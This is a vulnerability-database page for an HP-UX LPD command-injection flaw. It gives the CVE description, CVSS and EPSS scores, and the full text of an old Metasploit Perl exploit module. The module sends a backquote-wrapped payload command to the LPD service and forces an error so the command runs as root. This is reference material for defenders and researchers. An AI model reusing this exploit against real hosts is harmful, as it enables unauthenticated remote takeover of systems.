CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
The LPD service in HP-UX 10.20 11.11 (11i) and earlier allows remote attackers to execute arbitrary code via shell metacharacters ("`" or single backquote) in a request that is not properly handled when an error occurs, as demonstrated by killing the connection, a different vulnerability than CVE-2002-1473.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
13.51%
–
–
2022-04-03
–
–
13.51%
–
–
2022-07-17
–
–
13.51%
–
–
2022-07-24
–
–
13.51%
–
–
2022-09-04
–
–
13.51%
–
–
2023-03-12
–
–
–
92.78%
–
2023-05-07
–
–
–
92.78%
–
2023-07-02
–
–
–
91.5%
–
2023-08-27
–
–
–
91.5%
–
2023-09-17
–
–
–
89.85%
–
2023-12-17
–
–
–
89.85%
–
2024-02-11
–
–
–
5.03%
–
2024-03-17
–
–
–
4.96%
–
2024-03-31
–
–
–
5.51%
–
2024-04-14
–
–
–
6.24%
–
2024-06-02
–
–
–
13.08%
–
2024-06-02
–
–
–
13.08%
–
2024-06-23
–
–
–
14.81%
–
2024-07-28
–
–
–
19.55%
–
2024-09-22
–
–
–
89.85%
–
2024-12-22
–
–
–
82.51%
–
2025-01-19
–
–
–
82.51%
–
2025-03-18
–
–
–
–
38%
2025-03-18
–
–
–
–
38,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2005-10-18 22h00 +00:00 Author : H D Moore EDB Verified : Yes
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::hpux_lpd_exec;
use base "Msf::Exploit";
use IO::Socket;
use IO::Select;
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'HP-UX LPD Command Execution',
'Version' => '$Revision: 1.13 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>'],
'Arch' => [ ],
'OS' => [ 'hpux' ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The LPD server port', 515],
},
'Payload' =>
{
'Space' => 200,
'Keys' => ['cmd_nospaceslash'],
},
'Description' => Pex::Text::Freeform(qq{
This exploit abuses an unpublished vulnerability in the HP-UX LPD
service. This flaw allows an unauthenticated attacker to execute
arbitrary commands with the privileges of the root user. The LPD
service is only exploitable when the address of the attacking system
can be resolved by the target. This vulnerability was silently patched
with the buffer overflow flaws addressed in HP Security Bulletin HPSBUX0208-213.
}),
'Refs' => [
['URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html']
],
'Keys' => ['lpd'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_path = $self->GetVar('RPATH');
my $cmd = $self->GetVar('EncodedPayload')->RawPayload;
my $res;
# We use a second connection to exploit the bug
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
srand(time() + $$);
my $num = int(rand() * 1000);
$s->Send("\x02msf$num`$cmd`\n");
$res = $s->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our second job request command");
$s->Close;
return;
}
$s->Send("\x02 32 cfA187control\n");
$res = $s->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our control file");
$s->Close;
return;
}
$self->PrintLine("[*] Remember to kill the telnet process when finished");
$self->PrintLine("[*] Forcing an error and hijacking the cleanup routine...");
$s->Send(Pex::Text::AlphaNumText(16384));
$s->Close;
return;
}
# milw0rm.com [2005-10-19]